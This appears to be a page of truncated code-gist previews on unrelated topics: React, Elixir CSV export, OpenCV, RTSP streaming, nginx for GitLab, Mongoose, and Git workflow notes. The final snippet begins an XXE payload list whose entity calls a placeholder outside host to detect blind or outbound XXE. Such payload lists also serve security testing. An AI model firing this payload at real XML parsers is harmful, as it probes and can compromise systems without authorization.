A simple stateless functional component that we want to test that it renders without propType warnings.
import React, { PropTypes } from 'react'
let VersionListItem = function ({ active, version }) {
return (
def index(conn, _params) do | |
conn = conn | |
|> put_resp_content_type("text/csv") | |
|> put_resp_header("content-disposition", "attachment; filename=export.csv") | |
|> send_cunked(200) | |
Repo.transaction fn -> | |
Ecto.Adapters.SQL.stream(Repo, "COPY expensive_report TO STDOUT CSV HEADER") | |
|> Stream.map(&(chunk(conn, &1.rows))) | |
|> Stream.run |
# For more info: http://docs.opencv.org/3.0-beta/doc/py_tutorials/py_gui/py_video_display/py_video_display.html | |
import cv2 | |
import numpy as np | |
import os | |
FILE_OUTPUT = 'output.avi' | |
# Checks and deletes the output file | |
# You cant have a existing file or it will through an error | |
if os.path.isfile(FILE_OUTPUT): |
""" | |
http://stackoverflow.com/questions/28022432/receiving-rtp-packets-after-rtsp-setup | |
A demo python code that .. | |
1) Connects to an IP cam with RTSP | |
2) Draws RTP/NAL/H264 packets from the camera | |
3) Writes them to a file that can be read with any stock video player (say, mplayer, vlc & other ffmpeg based video-players) | |
Done for educative/demonstrative purposes, not for efficiency..! |
I've been asked a few times over the last few months to put together a full write-up of the Git workflow we use at RichRelevance (and at Precog before), since I have referenced it in passing quite a few times in tweets and in person. The workflow is appreciably different from GitFlow and its derivatives, and thus it brings with it a different set of tradeoffs and optimizations. To that end, it would probably be helpful to go over exactly what workflow benefits I find to be beneficial or even necessary.
# NOTE: These instructions do not represent a robust, self-troubleshooting install; they | |
# are definitely not suitable for dumping to a giant script and running as one. If you | |
# use them, they should be run one at a time, with an eye out for errors or problems | |
# along the way. | |
# | |
# The #1 issue you are likely to encounter is with Homebrew or Python packages whose | |
# binary components link against system Python. This will result in runtime segfaults, | |
# especially in rviz. If you suspect this is occurring, you can attempt to remove and | |
# reinstall the offending packages, or go for the nuclear option--- empty your Cellar | |
# and site-packages folders and start over with brewed python from the beginning. |
upstream gitlab { | |
server 172.17.42.1:10080 fail_timeout=0; | |
} | |
# let gitlab deal with the redirection | |
server { | |
listen 80; | |
server_name git.example.com; | |
server_tokens off; | |
root /dev/null; |
/// <reference path="../tsd/tsd.d.ts" /> | |
import mongoose = require('mongoose'); | |
import passport = require('passport'); | |
interface IUser extends mongoose.Document { | |
provider: string; | |
id: string; | |
authorId: string; | |
displayName: string; |
-------------------------------------------------------------- | |
Vanilla, used to verify outbound xxe or blind xxe | |
-------------------------------------------------------------- | |
<?xml version="1.0" ?> | |
<!DOCTYPE r [ | |
<!ELEMENT r ANY > | |
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt"> | |
]> | |
<r>&sp;</r> |